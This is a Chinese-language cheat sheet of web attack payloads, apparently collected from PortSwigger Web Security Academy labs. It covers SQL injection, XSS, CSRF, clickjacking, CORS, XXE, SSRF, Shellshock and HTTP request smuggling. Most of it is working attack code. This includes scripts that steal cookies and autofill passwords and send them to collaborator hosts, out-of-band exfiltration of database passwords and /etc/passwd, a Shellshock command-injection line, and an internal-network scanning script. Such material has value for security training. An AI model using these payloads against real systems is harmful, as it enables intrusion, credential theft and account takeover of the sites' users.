sql注入检测

'+union+select+'a','a'--

'+union+select+null,table_name+from+information_schema.tables--

users_vykaoi
pg_user

'+union+select+null,column_name+from+information_schema.columns+where+table_name+=+'users_vykaoi'--

username_idvlrr
password_hrvaqq
'+union+select+null,username_idvlrr||'~'||password_hrvaqq+from+users_vykaoi--
administrator~vqra15uob1lz9rvlf0gk

postgres

存在sql注入的点

PrepareStatement不使用?占位符
MyBatis的parameterType使用${}接受参数,#{}为?占位
Hibernate的HQL注入,没有使用位置,命名,命名列表,类实例参数setParameter

oracle

'+union+select+table_name,null+from+all_tables--

USER$
USERS_BLZOXY
USER_ASTATUS_MAP
USER_HISTORY$
'+union+select+COLUMN_NAME,null+from+all_tab_columns+where+table_name+%3d+'USERS_BLZOXY'--

USERNAME_HSNHZU
PASSWORD_VTECAY
'+union+select+null,USERNAME_HSNHZU||'~'||PASSWORD_VTECAY+from+USERS_BLZOXY--
administrator~g5v9j5kz7um201bcdt1c

盲注,判断是否存在盲注 1正常,2异常

Id=xyz' AND '1'='1
Id=xyz' AND '1'='2
# 判断是否存在users表
' and (select 'a' from users limit 1)='a

# 判断是否存在administrator用户
' and (select 'a' from users where username='administrator')='a

# 判断密码长度大于2
' and (select 'a' from users where username='administrator' and length(password)>2)='a

# 按3位爆破密码,s2xs3upos47mlbjoofax
' and (select substring(password,3,1) from users where username='administrator')='a

报错盲注, 使用'和''判断

Id=xyz'||(SELECT '')||'
Id=xyz'||(SELECT '' FROM dual)||'
Id=xyz'||(SELECT '' FROM not-a-real-table)||'
'||(select case when (1=1) then to_char(1/0) else '' end from dual)||'

# 检查administrator用户名
'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'

# 检查password长度
'||(select case when length(password)>2 then to_char(1/0) else '' end from users where username='administrator')||'

# 按2位爆破密码,02snz5aqoxgxoioe8o2z
'||(select case when substr(password,2,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

检查基于时间的盲注

'||pg_sleep(10)--
';select case when (1=1) then pg_sleep(10) else pg_sleep(0) end--
'%3bselect case when (1=2) then pg_sleep(10) else pg_sleep(0) end--

# 爆破表名,用户名.密码长度,按4位爆破密码
'%3bselect case when (username='administrator') then pg_sleep(10) else pg_sleep(0) end from users--
'%3bselect case when (username='administrator' and length(password)>2) then pg_sleep(10) else pg_sleep(0) end from users--
'%3bselect case when (username='administrator' and substring(password,4,1)='a') then pg_sleep(10) else pg_sleep(0) end from users--

dnslog回显注入,结合XXE

' union select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote system "http://9q0ljcfcr7g814m2paxxi7vr7id81x.burpcollaborator.net/"> % remote;]>'),'/l') from dual--
'+UNION+select+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://9q0ljcfcr7g814m2paxxi7vr7id81x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+from+dual--

' || select sleep(10)--
syuu9y5tesr84juxfo436wulbch25r.burpcollaborator.net
' || (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://utr7bt2rktvzehgu4oxipu8bi2oucj.burpcollaborator.net"> %remote;]>'),'/l') FROM dual)--

' || (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'.syuu9y5tesr84juxfo436wulbch25r.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual)--

检测XSS漏洞

xss https log获取cookie

<script>
fetch('https://cbremiidrc4sh37hs8hnjg75owupie.burpcollaborator.net',{
    method: 'POST',
    mode: 'no-cors',
    body: document.cookie
});
</script>

xss获取自动填充器的密码

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://rsn2m01fgpzirunexnzb36s6xx3ord.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

使用xss利用csrf来更改查看者的邮箱

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse(){
    var token=this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post','/my-account/change-email',true);
    changeReq.send('csrf='+token+'&email=test@test.com');
}
</script>

闭合dom的xss

id="><select></select><img src=1 onerror=alert(1)>

使用哈希更改jQuery事件的选择器接收器中的 DOM XSS

<iframe src="https://ac411feb1ecde075c0034cc00048000f.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

AngularJS 表达式中的 DOM XSS

{{$on.constructor('alert(1)')()}}

反射 DOM XSS

\"-alert(1)}//

绕过只替换第一个<>字符串项

<><img src=1 onerror=alert(1)>

哪些接收器会导致 DOM-XSS 漏洞?

以下是一些可能导致 DOM-XSS 漏洞的主要接收器:

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器:

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

绕过waf的反射xss

"><body onresize=print()>
<iframe src="https://acf01f551fe0be10c03023f400d80031.web-security-academy.net/?search=%22%3E%3Cbody+onresize%3Dprint%28%29%3E" onload=this.style.width='100px'>

使用自定义绕过xss,url尾部的#为立即定位的元素

<script>
location='https://acce1f681f95b78bc0dc3e1000e70085.web-security-academy.net/?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>#x';
</script>

"><svg><animatetransform onbegin=alert(1)>

过滤<>,使用属性来反射xss

"onmouseover="alert(1)

使用URL评论的href属性

javascript:alert(1)

使用chrome的按键属性xss

自己或他人触发利用,请按以下组合键之一:

在 Windows 上:ALT+SHIFT+X
在 MacOS 上:CTRL+ALT+X
在 Linux 上:Alt+X
/?'accesskey='x'onclick='alert(1)

注入JavaScript代码的xss

</script><script>alert(1)</script>
</script><img src=1 onerror=alert(document.domain)>

转义'但是没转义\

\';alert(1)//

过滤空格,函数,属性的xss

throw语句不能用作表达式,使用箭头函数来创建一个块,以便throw可以使用该语句。然后我们需要调用这个函数,因此我们将它分配给toString属性,并通过window强制字符串转换来触发它

&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window '',{x:'

转义,转义'的存储xss

http://fo&apos;-alert(1)-&apos;

绕过转义\u005c()\u0027(')

${alert(document.domain)}

绕过AngularJS 沙箱逃逸的反射型 XSS

该漏洞利用toString()函数不使用引号创建字符串。然后它获取String原型并覆盖charAt每个字符串的函数。这样就破坏了 AngularJS 沙箱。

&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
//1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
// fromCharCode(120,61,97,108,101,114,116,40,49,41)
x=alert(1)=1

绕过AngularJS 沙箱逃逸,CSP(Content security policy), 长度限制 的反射型 XSS

该漏洞利用AngularJS 中的ng-focus属性事件来创建绕过 CSP 的焦点事件。它还使用$event,这是一个引用事件对象的 AngularJS 变量。该path属性只存在于 Chrome,并包含触发事件的元素数组。

<script>
location='https://ac1f1f461f737b2ec07e1fc700c200eb.web-security-academy.net/?search=%3cinput+id=x+ng-focus%3d$event.path|orderBy%3a%27(z=alert)(document.cookie)%27%3e#x';
</script>

检测跨站请求伪造CSRF

生成CSRF的模板PoC

绕过:

  1. 修改请求协议, POST改GET
  2. 有的请求可能携带csrf参数,但是未校验, 直接去掉csrf参数请求
  3. CSRF 令牌不绑定到用户, 可以使用自身生成的csrf(csrf token为一次性,可以生成时burp拦截然后drop掉请求)
<form method="$method" action="$url">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>

利用Cookie和页面的csrf非一个框架实现csrf的漏洞

替换来自攻击者的csrf和cookie的csrfKey到受害者
攻击者csrf token: s6YUTmfueC3KihW0HLg8IMRQOWJBpPDq
攻击者csrfKey: 2rGml8rWr1oKgHuM0R3ITffoyIjrRyJf

// padload 1 : %0d%0a为\r\n(CRLF)
xxx%0d%0aSet-Cookie:%20csrfKey=2rGml8rWr1oKgHuM0R3ITffoyIjrRyJf
xxx?
set-cookie:csrfKey=2rGml8rWr1oKgHuM0R3ITffoyIjrRyJf

<form action="https://acf01f471ec49707c0fa662400f80047.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;aasdasdasdsda" />
      <input type="hidden" name="csrf" value="s6YUTmfueC3KihW0HLg8IMRQOWJBpPDq" />
      <input type="submit" value="Submit request" />
</form>
    <img src="https://acf01f471ec49707c0fa662400f80047.web-security-academy.net/?search=asd%0d%0aSet-Cookie:%20csrfKey=2rGml8rWr1oKgHuM0R3ITffoyIjrRyJf" onerror="document.forms[0].submit();">

Referer头验证域绕过的csrf,使用meta标签取消Referer

<meta name="referrer" content="no-referrer">

Referer头验证只验证域中包含有当前域的字符串绕过

// 使用随意的域名前置绕过
Referer: https://xxx-err-domain.net/?ace01f781f03146ec03ed9cc00360021.web-security-academy.net

<script>history.pushState('', '', '/?ace01f781f03146ec03ed9cc00360021.web-security-academy.net')</script>

// 还报"Invalid referer header"错误的话, 是因为很多浏览器默认加了去除查询字符串的安全措施,可添Referrer-Policy: unsafe-url来绕过
Referrer-Policy: unsafe-url

点击劫持

<style>
    iframe {
        position: relative;
        width: 700;
        height: 500;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 500;
        left: 60;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://acc31fbd1ee3cc76c0701d6200e3002a.web-security-academy.net/my-account"></iframe>

// 点击劫持更新邮箱
<iframe src="https://acf91f051e18d0bbc09ec82800b8008d.web-security-academy.net/my-account?email=data%40hsssss></iframe>

使用sandbox="allow-forms"绕过Frame busting scripts

<iframe sandbox="allow-forms" src="https://ac6c1ff51e995f12c1cf0dd800a6005f.web-security-academy.net/my-account?email=data%40hjkgjkjhg"></iframe>

基于 DOM 的 XSS的点击劫持漏洞

<iframe src="https://aca81fce1f891650c0b4b49e002800c1.web-security-academy.net/feedback?name=%3Csvg%3E%3Canimate%20onbegin=print()%20attributeName=x%20dur=1s%3E&email=asd%40aa&subject=asd&message=ads"></iframe>

带确认提示的多步骤的点击劫持

<style>
    iframe {
        position: relative;
        width: 500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    .firstClick, .secondClick {
        position: absolute;
        top: 500px;
        left: 50px;
        z-index: 1;
    }
    .secondClick {
        top: 290px;
        left: 210px;
    }
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://acd31fd31e6e39a7c0d8a74d00b50001.web-security-academy.net/my-account"></iframe>

常见污点流漏洞函数

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

包含addEventListener()时间监听的DOM XSS

<iframe src="https://ac0b1fff1e9ecec9c08c044700ac004d.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')"></iframe>

JavaScript 包含有缺陷, 校验字符串有问题

window.addEventListener('message', function(e) {
    var url = e.data;
    if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
        location.href = url;
    }
}, false);
                    
<iframe src="https://acf31f781ee077c2c06f081f00780009.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')"></iframe>

带JSON.parse的web message的DOM XSS, 构造加载时该iframe的postMessage方法会向主页发送一条类type的 Web 消息, 使用load-channel分支来加载url属性

window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
    document.body.appendChild(iframe);
    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }
    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;
        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;
        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);

<iframe src="https://ac671fa31ef6e0cdc0e93c5000c9009b.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'></iframe>

带Origin verification校验的绕过

window.addEventListener('message', function(e) {
    if (e.origin.indexOf('normal-web.com') > -1) {
        eval(e.data);
    }
});
// 使用包含有normal-web.com的http://www.normal-web.com.evil.net恶意域绕过

基于 DOM 的开放式重定向

<a href="#" onclick="returnUrl = /url=(https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = &quot;/&quot;" one-link-mark="yes">Back to Blog</a>
该onclick参数包含一个打开的重定向漏洞,允许您更改"返回博客"链接将用户带到url的位置。

基于 DOM 操作 Cookie 的XSS, 客户端 Cookie的lastViewedProduct值是用户访问的最后一个产品页URL。

<iframe src="https://ac901fee1e805f29c0fe289d00e50059.web-security-academy.net/product?productId=10&'><script>print()</script>" onload="if(!window.x)this.src='https://ac901fee1e805f29c0fe289d00e50059.web-security-academy.net/';window.x=1;"></iframe>
// 末尾添加了一个 JavaScript 脚本。首次加载时,浏览器会暂时打开恶意 URL,然后将其保存为 Cookie 的值。受害者的浏览器保存了中毒的cookie,返回主页将执行Cookie存的XSS。
<script>
    document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>

CORS响应头包含Access-Control-Allow-Credentials: true利用

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://aca21f0f1e2ea224c06b252700420023.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='log?key='+this.responseText;
    }
</script>
// CORS白名单不严(所有子域或不存在的子域)可以使用注册域绕过
normal-website.com使用hackersnormal-website.com绕过
normal-website.com使用normal-website.com.evil-user.net绕过

没有校验Origin: null, 返回Access-Control-Allow-Origin: null绕过

// 使用iframe sandbox,因为这会生成空源请求。
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://ac981f671f99e3a4c005d50300df0057.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener(){
        location='https://exploit-ac751fae1f1ee35ec06cd55e01410042.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

允许所有子域的CORS, 该/product/stock接口的productID参数存在XSS攻击

请求Origin: https://xxx.ac4e1f131fb2aac0c0bbaa91009800e1.web-security-academy.net
响应Access-Control-Allow-Origin: https://xxx.ac4e1f131fb2aac0c0bbaa91009800e1.web-security-academy.net
利用
<script>
    document.location="https://stock.ac4e1f131fb2aac0c0bbaa91009800e1.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest();req.onload=reqListener;req.open('get','https://ac4e1f131fb2aac0c0bbaa91009800e1.web-security-academy.net/accountDetails',true);req.withCredentials=true;req.send();function reqListener(){location='https://exploit-ace41f751fafaa96c030aafd01be0045.web-security-academy.net/log?key='%2bthis.responseText;};%3c/script>&storeId=1"
</script>

内网 CORS, 内网扫描的高级利用

// 1 扫描本地网络以查找端点
<script>
var q = [], collaboratorURL = 'http://hsdlt2hnvyqg5nnhkvkz06zc73dt1i.burpcollaborator.net';
for(i=1;i<=255;i++) {
    q.push(function(url) {
        return function(wait) {
            fetchUrl(url, wait);
        }
    }('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
    if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait) {
    var controller = new AbortController(), signal = controller.signal;
    fetch(url, {signal}).then(r => r.text().then(text => {
        location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
    }))
    .catch(e => {
        if(q.length) {
            q.shift()(wait);
        }
    });
    setTimeout(x => {
        controller.abort();
        if(q.length) {
            q.shift()(wait);
        }
    }, wait);
}
</script>
// http logs响应GET /?ip=192.168.0.206:8080&code=<!DOCTYPE html>
// 2 寻找XSS漏洞,响应GET /?foundXss=1%22 HTTP/1.1
<script>
    function xss(url,text,vector){
        location=url+'/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    function fetchUrl(url,collaboratorURL){
        fetch(url).then(r=>t.text().then(text=>{
            xss(url,text,'"><img src='+collaboratorURL+'?foundXss=1');
        }))
    }
    fetchUrl("http://192.168.0.206:8080","http://y3224js46f1xg4yyvcvgbnatikobc0.burpcollaborator.net")
</script>
// 3 利用iframe获取管理页面的源代码, 响应包含/my-account?id=administrator
<script>
    function xss(url, text, vector) {
        location = url + '/login?time=' + Date.now() + '&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    function fetchUrl(url, collaboratorURl){
        fetch(url).then(r=>r.text().then(text=>{
            xss(url, text,'"><iframe src=/admin onload="new Image().src=\''+collaboratorURl+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
        }))
    }
    fetchUrl("http://192.168.0.206:8080","http://y3224js46f1xg4yyvcvgbnatikobc0.burpcollaborator.net")
</script>
// 4 利用回显的源代码删除用户
<script>
    function xss(url, text, vector) {
        location = url + '/login?time=' + Date.now() + '&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    function fetchUrl(url, collaboratorURl){
        fetch(url).then(r=>r.text().then(text=>{
            xss(url, text,'"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit();"></iframe>');
        }))
    }
    fetchUrl("http://192.168.0.206:8080")
</script>

检测XML 外部实体 (XXE) 注入

// 在xml和元素中间插入xxe恶意代码, 在元素参数修改为&xxe;执行
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>

利用 XXE 执行 SSRF 攻击

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
// <productId>&xxe;</productId>
"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2022-02-24T15:05:14.892379838Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "GGuyW8LOSqNCBABGOT5T",
  "SecretAccessKey" : "NqDVDoZAjFbJO1JlyI1esp3bjOvRj9b7yi26TfTp",
  "Token" : "4Ou1IpZlZsGGnrF8t1M3vyeJg6HOyM3G8PWyGG8xXRWat0TQZTIG2BdReA2lb7IT7rpj30x7AUyoUFahCi5E3C1TxaY532PERjxAb78Hfgq5LBLh4M4zrato9Izi88BEIuHyZH8vFzlZJykh8BXi9sFPgqpvCD0e0qH0S6W5zDgO3JepJVHAGtU3za5wDAuh1o2muYcDdD2wKqZot22lhXDqpkGf9vmdc9HQRQtR7cKyNFBgpbdxHd4PAXRwAsgk",
  "Expiration" : "2028-02-23T15:05:14.892379838Z"
}"

利用 XInclude 检索文件的XXE

// productId=8&storeId=1, 其中foo可用替换任意单词xxx
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

通过图像文件上传利用 的XXE

// SVG 图像格式使用 XML, 读取/etc/hostname文件到svg图像上
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

通过修改的内容类型进行 XXE 攻击

// 原请求, 大多数 POST 请求使用由 HTML 表单生成的默认内容类型,允许其他内容类型
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
// 修改为xml请求, 并具有相同的结果
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>, 并具有相同的结果

使用触发带外网络交互(OAST) 技术检测盲 XXE

// XXE 注入的攻击,其响应中不返回任何已定义外部实体的值, 可用请求到外部http logs服务器
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://8dmiqo9ojbuozo7kkcnmfdykfbl19q.burpcollaborator.net"> ]>
<stockCheck><productId>&xxe;</productId>

通过 XML 参数实体进行带外交互的盲 XXE

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://chxmusdsnfys3sboogrqjh2ojfp6dv.burpcollaborator.net"> %xxe; ]>

利用盲XXE将数据泄露到带外的http logs服务器

// 先在exploit服务器保存恶意的DTD文件, 然后记住URL
// https://exploit-ac421f5c1f80c0d0c093a20d01410041.web-security-academy.net/exploit
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evil "<!ENTITY &#x25; exfiltrate SYSTEM 'http://rto167p7zua7f7n30v35vwe3vu1mpb.burpcollaborator.net/?x=%file;'>">
%evil;
%exfiltrate
// 在/product/stock接口进行xxe注入, 注意后面要加.dtd后缀
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac421f5c1f80c0d0c093a20d01410041.web-security-academy.net/exploit.dtd"> %xxe;]>
<stockCheck><productId>1</productId>

利用盲XXE通过错误消息检索数据

// 定义一个名为 file的 XML 参数实体,其中包含文件的内容。file:///etc/passwd
// 定义一个名为 eval的 XML 参数实体,其中包含另一个名为 error的 XML 参数实体的动态声明。将通过加载不存在的文件。
// 使用实体,这将导致执行实体的动态声明。
// 使用实体,通过尝试加载不存在的文件来计算其值,导致包含不存在的文件的名称(即文件的内容)的错误消息。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
// 利用恶意xxe的dtd, 注意此处不加.dtd后缀
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac251f961f9b6ae8c0085f4a01760010.web-security-academy.net/exploit"> %xxe;]>

高级利用 XXE 通过本地 DTD 来检索数据

Linux

// 当防火墙不允许引用外部DTD时,我们可以引用本地dtd文件
// GNOME 桌面环境的系统通常有一个 DTD, /usr/share/yelp/dtd/docbookx.dtd, 包含一个名为ISOamso.
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

windows

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台 IBM WebSphere 应用

// /opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

其他的语句

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

检测服务器端请求伪造 SSRF(Server-side request forgery)

针对服务器本身和内网的 SSRF 攻击

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

// 请求远端的本地资源攻击
stockApi=http://localhost/admin
// 对目标内网进行爆破扫描
stockApi=http://192.168.0.$8$/admin

基于黑名单的 SSRF绕过

// 主机名
http://127.0.0.1
http://localhost
http://127.1
http://2130706433017700000001
// 使用自注册域
http://127.0.0.1spoofed.evil.com
// 使用URL编码或双重编码对阻止的字符进行模糊处理

双重编码对照表

HTML URL Encoding Reference (w3schools.com)

// 双重编码encodeURIComponent(encodeURIComponent('a'))为'%2561'
Character   From Windows-1252   From UTF-8
a                   %61             %61

使用短域和双重编码绕过

stockApi=http://127.1/%2561dmin

基于白名单的 SSRF绕过

可以通过利用 URL 分析中的不一致来绕过。

// 使用 @ 字符嵌入恶意主机
https://expected-host@evil-host
// 使用 # 字符让正常主机变为URL片段
https://evil-host#expected-host
// 利用 DNS 完全限定 DNS 名称
https://expected-host.evil-host
// 对字符和分割符进行 URL 编码

使用user@stock.weliketoshop.net判断@前置

使用xxx#user@stock.weliketoshop.net判断#字符报错, 使用双重编码绕过

使用localhost的路由要放在URL末尾

stockApi=http%3a//localhost%2523user@stock.weliketoshop.net/admin/delete?username=carlos

通过开放重定向漏洞绕过的 SSRF

对URL进行校验, 但是遗漏了参数

// 返回响应显示302重定向到指定网址 Location: http://evil-user.net
/product/nextProduct?currentProductId=6&path=http://evil-user.net

// 利用打开的重定向漏洞绕过 URL 过滤器,并利用 SSRF 漏洞
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

具有带外检测功能的盲式 SSRF

注意:

在测试 SSRF 漏洞时,通常会只有域的 DNS 查找记录,但没有后续 HTTP 请求。发生这种情况通常是因为应用程序尝试向域发出 HTTP 请求,这导致了初始 DNS 查找,但实际的 HTTP 请求被网络级筛选阻止。基础设施允许出站DNS流量是相对常见的,但会阻止与意外目标的HTTP连接。

// 修改Referer头为HTTP logs地址
Referer: https://q4vizifa7xn4ccsuk6uqw03r1i78vx.burpcollaborator.net

盲SSRF与Shellshock利用

从 BApp Store 安装"Collaborator Everywhere"扩展。将实验室的域添加到 Burp Suite 的target下的add scope,重新加载页面

// 编写Shellshock的payload, 将目标的User-Agent值替换为此payload
() { :; }; /usr/bin/nslookup $(whoami).7owi8q1humgg7rapvlcorworrix8lx.burpcollaborator.net
// 将Referer header 修改为下面的地址, 爆破1-255内网的8080端口
http://192.168.0.1:8080
// 查看Burp Collaborator的DNS log返回的记录
peter-Armh6f.7owi8q1humgg7rapvlcorworrix8lx.burpcollaborator.net.

HTTP 请求走私(request-smuggling)

大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:标头和标头。Content-Length, Transfer-Encoding

Content-Length 指定消息正文的长度(以字节为单位)。

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding 用于指定消息正文使用分块编码。这意味着消息正文包含一个或多个数据块。每个块由以字节为单位的块大小(以十六进制表示)组成,后跟换行符,后跟块内容。消息以大小为零的块终止。

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

HTTP 请求走私,基本 CL.TE 漏洞

// 前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头。我们可以执行简单的HTTP请求走私攻击
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
// 前端服务器处理Content-Length标头并确定请求正文的长度为 13 个字节,直到 SMUGGLED结尾。此请求将转发到后端服务器。
// 后端服务器处理Transfer-Encoding标头,因此将邮件正文视为使用分块编码。它处理第一个块,该块的长度为零,因此被视为终止请求。以下字节 SMUGGLED, 将保持未处理状态,后端服务器会将这些字节视为序列中下一个请求的开始。

TE.CL漏洞

前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头。我们可以执行简单的HTTP请求走私攻击

注意: 请求序列的最后要加上 \r\n\r\n0, 也就是两次回车和0

// 点Repeater菜单, 取消勾选"Update Content-Length" 选项
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

0
// 第一次请求返回响应为:  Unrecognized method GPOST, 第二次请求正常返回body

TE.TE :模糊 TE 标头

